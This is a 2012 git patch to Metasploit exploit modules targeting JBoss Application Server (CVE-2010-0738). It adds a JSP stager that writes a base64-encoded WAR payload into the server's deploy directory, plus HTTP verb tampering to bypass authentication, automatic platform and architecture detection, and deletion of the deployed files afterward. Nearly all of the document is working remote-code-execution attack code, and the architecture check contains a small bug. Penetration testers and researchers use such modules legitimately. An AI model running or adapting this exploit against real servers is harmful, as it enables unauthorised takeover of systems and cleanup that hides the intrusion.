From 52b19193155f838b50783771145a6a1185a87851 Mon Sep 17 00:00:00 2001 From: h0ng10 Date: Thu, 2 Aug 2012 17:33:17 -0400 Subject: [PATCH] Additional cleanups, verb tampering --- .../exploits/multi/http/jboss_bshdeployer.rb | 10 +- .../http/jboss_deploymentfilerepository.rb | 271 +++++++++++++----- .../exploits/multi/http/jboss_maindeployer.rb | 10 +- 3 files changed, 215 insertions(+), 76 deletions(-) diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 39b1879dff..770b6ab587 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -204,13 +204,17 @@ EOT uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Executing #{uri}...") + # The payload doesn't like POST requests + tmp_verb = verb + tmp_verb = 'GET' if (verb == 'POST') + # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts = 5 - num_attempts.times { |attempt| + num_attempts.times do |attempt| res = send_request_cgi({ 'uri' => uri, - 'method' => 'GET'#verb + 'method' => tmp_verb }, 20) msg = nil @@ -231,7 +235,7 @@ EOT else print_error(msg) end - } + end # diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 28fb69c5ef..fc0c71e3a4 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -1,5 +1,5 @@ ## -# $Id$ +# $Id: jboss_deploymentfilerepository.rb 15620 2012-07-12 07:33:06Z rapid7 $ ## ## @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Exploit::Remote JBoss Application Server (jbossas) to deploy a JSP file in a minimal WAR context. }, - 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ], + 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof', 'h0ng10' ], 'License' => MSF_LICENSE, - 'Version' => '$Revision$', + 'Version' => '$Revision: 15620 $', 'References' => [ [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST @@ -36,26 +36,54 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], ], 'Privileged' => false, - 'Platform' => ['linux', 'windows' ], + 'Platform' => ['java', 'linux', 'windows' ], 'Targets' => [ - [ 'Universal', + # + # do target detection but java meter by default + # detect via /manager/serverinfo + # + [ 'Automatic (Java based)', { 'Arch' => ARCH_JAVA, - 'Payload' => - { - 'DisableNops' => true, - }, - } + 'Platform' => 'java' + } ], + + # + # Platform specific targets only + # + [ 'Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + }, ], + [ 'Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + }, + ], + + # + # Java version + # + [ 'Java Universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + } + ] ], + 'DisclosureDate' => "Apr 26 2010", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), - OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']), + OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), + OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), @@ -66,40 +94,88 @@ class Metasploit3 < Msf::Exploit::Remote def exploit jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) + stager_base = rand_text_alpha(8+rand(8)) + stager_jsp = rand_text_alpha(8+rand(8)) - p = payload - if datastore['SHELL'] == 'automatic' - if not (plat = detect_platform()) - fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') - end + p = payload + mytarget = target - case plat - when 'linux' - datastore['SHELL'] = '/bin/sh' - when 'win' - datastore['SHELL'] = 'cmd.exe' - end + if (target.name =~ /Automatic/) + mytarget = auto_target() + if (not mytarget) + fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + end + print_status("Automatically selected target \"#{mytarget.name}\"") + else + print_status("Using manually select target \"#{mytarget.name}\"") + end + arch = mytarget.arch - print_status("SHELL set to #{datastore['SHELL']}") + # set arch/platform from the target + plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] - return if ((p = exploit_regenerate_payload(plat, target_arch)) == nil) - end + # We must regenerate the payload in case our auto-magic changed something. + return if ((p = exploit_regenerate_payload(plat, arch)) == nil) + + # Generate the WAR containing the payload + war_data = p.encoded_war({ + :app_name => app_base, + :jsp_name => jsp_name, + :arch => mytarget.arch, + :platform => mytarget.platform + }).to_s + + encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') + + # Dynamic variables + content_var = rand_text_alpha(8+rand(8)) + decoded_var = rand_text_alpha(8+rand(8)) + file_path_var = rand_text_alpha(8+rand(8)) + jboss_home_var = rand_text_alpha(8+rand(8)) + fos_var = rand_text_alphanumeric(8+rand(8)) + # The following jsp script will write the exploded WAR file to the deploy/ + # directory or try to delete it + jsp_script = <<-EOT +<%@page import="java.io.*, + java.util.*, + sun.misc.BASE64Decoder" +%> + +<% + + String #{jboss_home_var} = System.getProperty("jboss.server.home.dir"); + String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war"; + + + try { + String #{content_var} = "#{encoded_payload}"; + byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var}); + FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var}); + #{fos_var}.write(#{decoded_var}); + #{fos_var}.close(); + } + catch(Exception e) + { + } +%> + +EOT # - # UPLOAD + # UPLOAD stager with the payload war file # data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=store' data << '&argType=java.lang.String' - data << '&arg0=' + Rex::Text.uri_encode(app_base) + '.war' + data << '&arg0=' + Rex::Text.uri_encode(stager_base) + '.war' data << '&argType=java.lang.String' - data << '&arg1=' + jsp_name + data << '&arg1=' + stager_jsp data << '&argType=java.lang.String' data << '&arg2=.jsp' data << '&argType=java.lang.String' - data << '&arg3=' + Rex::Text.uri_encode(p.encoded) + data << '&arg3=' + Rex::Text.uri_encode(jsp_script) data << '&argType=boolean' data << '&arg4=True' @@ -118,49 +194,31 @@ class Metasploit3 < Msf::Exploit::Remote }, 5) end + # - # EXECUTE - # - # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), - # but the file still gets written. - if (res.code == 200 || res.code == 500) - uri = '/' + app_base + '/' + jsp_name + '.jsp' - print_status("Triggering payload at '#{uri}'...") - verb = 'GET' - if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') - verb = 'HEAD' - end - # JBoss might need some time for the deployment. Try 5 times at most - # and sleep 3 seconds in between. - 5.times do - res = send_request_raw( - { - 'uri' => uri, - 'method' => verb, - }) - if !res - print_error("Execution failed on '#{uri}' [No Response], retrying...") - select(nil,nil,nil,3) - elsif (res.code < 200 or res.code >= 300) - print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...") - select(nil,nil,nil,3) - elsif res.code == 200 - print_status("Successfully triggered payload at '#{uri}'.") - break - else - print_error("Denied...") - end - end + # Call the stager to deploy the payload war file + # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), + # but the file still gets written. + if (res.code == 200 || res.code == 500) + print_status("Calling stager to deploy the payload warfile (might take some time)") + stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp' + stager_res = call_uri_mtimes(stager_uri) + + print_status("Try to call the deployed payload") + # Try to execute the payload by calling the deployed WAR file + payload_uri = "/" + app_base + "/" + jsp_name + '.jsp' + payload_res = call_uri_mtimes(payload_uri) # # DELETE # # The WAR can only be removed by physically deleting it, otherwise it # will get redeployed after a server restart. - print_status("Undeploying #{uri} by deleting the WAR file via DeploymentFileRepository.remove()...") - res1 = delete_file(Rex::Text.uri_encode(app_base) + '.war', jsp_name, '.jsp') - res2 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') - [res1, res2].each do |res| + print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...") + res1 = delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp') + res2 = delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '') + res3 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') + [res1, res2, res3].each do |res| if !res print_error("WARNING: Unable to remove WAR [No Response]") end @@ -168,7 +226,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end end - + handler end end @@ -195,19 +253,72 @@ class Metasploit3 < Msf::Exploit::Remote else res = send_request_cgi( { - 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, 'method' => datastore['VERB'], }, 5) end res end - def detect_platform - print_status("Attempting to automatically detect the platform...") + # Call the URL multiple times until we have hit + def call_uri_mtimes(uri, num_attempts = 5) + verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') + + # JBoss might need some time for the deployment. Try 5 times at most and + # wait 5 seconds inbetween tries + num_attempts.times do |attempt| + res = send_request_cgi({ + 'uri' => uri, + 'method' => verb + }, 20) + + msg = nil + if (!res) + msg = "Execution failed on #{uri} [No Response]" + elsif (res.code < 200 or res.code >= 300) + msg = "http request failed to #{uri} [#{res.code}]" + elsif (res.code == 200) + print_status("Successfully called '#{uri}'") + return res + end + + if (attempt < num_attempts - 1) + msg << ", retrying in 5 seconds..." + print_status(msg) + select(nil, nil, nil, 5) + else + print_error(msg) + return res + end + end + end + + + def auto_target + print_status("Attempting to automatically select a target...") + res = query_serverinfo + if not (plat = detect_platform(res)) + fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!') + end + + if not (arch = detect_architecture(res)) + fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!') + end + + # see if we have a match + targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } + + # no matching target found, use Java as fallback + java_targets = targets.select {|t| t.name =~ /^Java/ } + return java_targets[0] + end + + + def query_serverinfo path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { - 'uri' => path, + 'uri' => path }, 20) if (not res) or (res.code != 200) @@ -215,6 +326,11 @@ class Metasploit3 < Msf::Exploit::Remote return nil end + res + end + + # Try to autodetect the target platform + def detect_platform(res) if (res.body =~ //m) os = $1 if (os =~ /Linux/i) @@ -227,4 +343,19 @@ class Metasploit3 < Msf::Exploit::Remote end nil end + + + # Try to autodetect the target architecture + def detect_architecture(res) + if (res.body =~ //m) + arch = $1 + if (arch =~ /(x86|i386|i686)/i) + return ARCH_X86 + elsif (os =~ /(x86_64|amd64)/i) + return ARCH_X86 + end + end + nil + end + end diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 72808c1535..6f74dbd2da 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -236,14 +236,18 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("Executing #{app_base}...") + # The payload doesn't like POST requests + tmp_verb = verb + tmp_verb = 'GET' if (verb == 'POST') + # JBoss might need some time for the deployment. Try 5 times at most and # wait 3 seconds inbetween tries uri = '/' + app_base + '/' + jsp_name + '.jsp' num_attempts = 5 - num_attempts.times { |attempt| + num_attempts.times do |attempt| res = send_request_cgi({ 'uri' => uri, - 'method' => 'GET' + 'method' => tmp_verb }, 20) msg = nil @@ -264,7 +268,7 @@ class Metasploit3 < Msf::Exploit::Remote else print_error(msg) end - } + end # # DELETE